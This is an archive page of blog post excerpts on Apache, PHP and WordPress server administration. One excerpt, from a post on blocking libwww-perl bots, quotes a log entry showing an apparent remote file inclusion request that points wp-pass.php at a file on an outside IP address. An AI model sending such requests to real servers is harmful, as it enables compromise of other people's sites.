Archive for the ‘apache’ Category

October 10th, 2007

Keep the libwww-perl bots out

40 Comments, WordPress, apache, by Donncha.

If you look through your server logs you’ll probably notice more than a few requests like these:
GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805″
GET…

August 18th, 2007

Notes when upgrading to PHP5

14 Comments, PHP, WordPress, apache, by Donncha.

I upgraded one of my servers to PHP5 this morning. Two things to watch out for:

The location of your…

If you want to improve server performance, the best way is to move as much of the processing off it…

A friend recently had a problem configuring a new server. He installed PHP, Apache, MySQL and phpMyAdmin but when he…

August 29th, 2006

Gzip Compression or No?

15 Comments, PHP, Web, apache, by Donncha.

mod_gzip, zlib.output_compression or whatever way you compress your web pages is a great way of reducing your network traffic costs…

A few weeks ago I moved this blog to this new location but left a 301 redirect on all URLs…


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